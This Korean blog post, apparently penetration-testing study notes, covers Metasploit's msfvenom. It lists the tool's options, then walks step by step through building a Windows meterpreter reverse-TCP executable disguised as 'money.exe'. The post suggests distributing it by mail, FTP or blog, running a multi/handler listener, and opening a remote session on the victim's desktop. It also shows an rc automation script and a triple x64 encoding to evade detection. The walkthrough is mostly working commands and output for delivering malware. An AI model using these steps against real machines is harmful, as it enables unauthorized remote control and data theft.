MSF_venom
Metasploit의 독립 실행형 페이로드 생성기.
msfpayload 및 msfencode의 대체 도구.
옵션
Useage
/usr/bin/msfvenom [options] <var=val>
Example
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options
-l, --list <type> [type]에 해당하는 모든 모듈을 나열.
사용할 수 있는 유형: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> 사용할 페이로드 지정 (--list payloads로 목록 확인, --list-options로 옵션 확인).
'-' 또는 STDIN으로 사용자 지정 가능.
--list-options --payload <value>에 대한 표준, 고급 및 회피 옵션 나열.
-f, --format <format> 출력 형식 지정 (사용 가능한 형식은 --list formats 참고).
-e, --encoder <encoder> 사용할 인코더 지정 (사용 가능한 인코더는 --list encoders 참고).
--service-name <value> 서비스 이진 파일 생성 시 사용할 서비스 이름.
--sec-name <value> 큰 Windows 바이너리 생성 시 사용할 섹션 이름 (기본: 무작위 4자 알파 문자열).
--smallest 사용 가능한 모든 인코더를 사용해 가능한 가장 작은 페이로드 생성.
--encrypt <value> 쉘코드에 적용할 암호화 또는 인코딩 유형 지정 (--list encrypt 참고).
--encrypt-key <value> --encrypt에 사용할 키 지정.
--encrypt-iv <value> --encrypt에 사용할 초기화 벡터 지정.
-a, --arch <arch> --payload 및 --encoders에 사용할 아키텍처 지정 (--list archs 참고).
--platform <platform> --payload에 사용할 플랫폼 지정 (--list platforms 참고).
-o, --out <path> 페이로드를 파일로 저장.
-b, --bad-chars <list> 피해야 할 문자 지정 예: '\x00\xff'.
-n, --nopsled <length> 페이로드 앞에 지정한 길이만큼 NOP 슬레드 추가.
--pad-nops -n <length> 옵션으로 지정한 NOP 크기를 전체 페이로드 크기로 사용,
자동으로 NOP 슬레드 추가.
-s, --space <length> 결과 페이로드의 최대 크기 지정.
--encoder-space <length> 인코딩된 페이로드의 최대 크기 지정 (기본: -s 값과 동일).
-i, --iterations <count> 페이로드를 인코딩할 횟수 지정.
-c, --add-code <path> 추가할 Win32 쉘코드 파일 지정.
-x, --template <path> 템플릿으로 사용할 사용자 지정 실행 파일 지정.
-k, --keep --template 동작을 유지하며 페이로드를 새 스레드로 주입.
-v, --var-name <value> 특정 출력 형식에 사용할 사용자 지정 변수 이름 지정.
-t, --timeout <second> STDIN에서 페이로드 읽기 대기 시간을 초 단위로 설정 (기본: 30초, 0으로 비활성화).
-h, --help 도움말 메시지 표시.
시나리오
Reverse Tcp Rdp를 통한 좀비pc 감염
피해자 -- Rdp서버 -- 공격자
위와 같은 구조의 경우 피해자와 공격자 모두 Rdp 서버로 스스로 접근하도록 하여 사설 IP여도 접속이 가능. 다만 Rdp서버는 공인 IP이여야함.
피해자 -- 공격자
피해자가 공격자로 직접적으로 접근시 피해자는 사설 IP여도 상관없으나 공격자 서버는 공인 IP대역으로, 접근 가능해야함.
악성코드를 피해자가 다운로드 하여 스스로 / 자동적으로 실행되도록 하여야 함.
MSF_venom은 피해자에게 전달할 악성스크립트를 생성. BOF를 주로 사용함. --> 시스템마다 payload가 다름.
트로이목마형(정상 프로그램에 쉘코드를 삽입하는 스크립트)또한 존재.
악성 Script 생성.
1. msfconsole
2. search reverse_tcp
--> 윈도우 대상 모듈 선택
(windows/meterpreter/reverse_tcp)
--> 공격자의 meterpreter에 Reverse TCP를 이용하여 접속하도록 하는 모듈
--> 공격자의 IP 및 Port가 필요
4. msfvenom
┌──(root㉿kaya)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=[공격자 IP] LPORT=4444 -f exe -o money.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: money.exe
5. 악성 스크립트 배포
Mail, FTP, 웹(블로그) 등으로 배포.
C&C서버 구축
msf에서는 c&c 서버를 Handler라 한다.
표준 Hendler : exploit/multi/handler
1. 모듈 사용
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
2. options 확인
msf6 exploit(multi/handler) > show options
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
3. Required Setting
msf6 exploit(multi/handler) > set lhost 172.16.20.15
lhost => 172.16.20.15
msf6 exploit(multi/handler) > show options
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.16.20.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
4. Hendler에 사용되는 payload를 정의
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.16.20.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
5. Hendler 실행
msf6 exploit(multi/handler) > exploit -J -z
[*] Started reverse TCP handler on 172.16.20.15:4444
msf exploit 옵션
-J : 현재 세션에 대한 작업을 백그라운드로 실행한다.
-f : exploit을 강제로 실행한다.
-j : 현재 exploit을 백그라운드 작업으로 실행한다.
-o : 지정된 옵션을 override하여 exploit을 실행한다.
-r : exploit에 대한 자동화된 리로드를 수행한다.
-z : exploit 실행 후 종료하지 않고 대기 상태를 유지한다.
-e : 지정된 페이로드를 강제로 사용한다.
-h : exploit 명령어의 사용법과 옵션에 대한 도움말을 출력한다.
-n : 네트워크 탐지와 우회 관련 플래그를 설정한다.
-p : 사용할 페이로드를 지정한다.
-t : 대상 호스트 또는 서비스에 대한 타겟 ID를 명시한다.
6. 피해자 서버에서 악성 스크립트( money.exe ) 실행
msf6 exploit(multi/handler) > exploit -J -z
[*] Started reverse TCP handler on 172.16.20.15:4444
[*] Sending stage (177734 bytes) to 172.16.20.1
[*] Meterpreter session 1 opened (172.16.20.15:4444 -> 172.16.20.1:54707) at 2024-11-25 11:25:25 +0900
[*] Session 1 created in the background.
7. 세션 확인
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows _\TJ @ _ 172.16.20.15:4444 -> 172.16.20.1:54707 (172.16.20.1
)
8. meterpreter 확보
msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > dir
Listing: C:\Users\TJ\Desktop
============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 11421606 fil 2024-10-29 13:15:28 +0900 test.pdf
040777/rwxrwxrwx 4096 dir 2024-11-25 10:58:41 +0900 test
100666/rw-rw-rw- 11019687 fil 2024-10-29 13:37:25 +0900 test2.pdf
meterpreter > ls
Listing: C:\Users\TJ\Desktop
============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 11421606 fil 2024-10-29 13:15:28 +0900 test.pdf
040777/rwxrwxrwx 4096 dir 2024-11-25 10:58:41 +0900 test
100666/rw-rw-rw- 11019687 fil 2024-10-29 13:37:25 +0900 test2.pdf
미터프리터가 ls명령을 인식하도록 해주는 것을 볼 수 있음.
9. rc파일 생성
cat > handler.rc
use exploit/multi/handler
set LHOST [공격자 IP]
set LPORT [Port]
set payload [payload]
exploit -j -z
다음과같이 rc파일로 msfconsole실행시 위의 코드가 적용됨.
msfconsole -r handler.rc
기타
피해자가 신형 윈도우인 경우
msfvenom -a x64 -e x64/zutto_dekiru -i 3
x64/zutto_dekiru 형식으로 3번 인코딩 --> 탐지 우회
'모의해킹 및 보안' 카테고리의 다른 글
CMD를 통한 Postexploit (0) | 2024.11.26 |
---|---|
Window Defender 해제(CMD) (0) | 2024.11.26 |
fail2ban (0) | 2024.11.21 |
Portsentry (0) | 2024.11.21 |
rkhunter (0) | 2024.11.21 |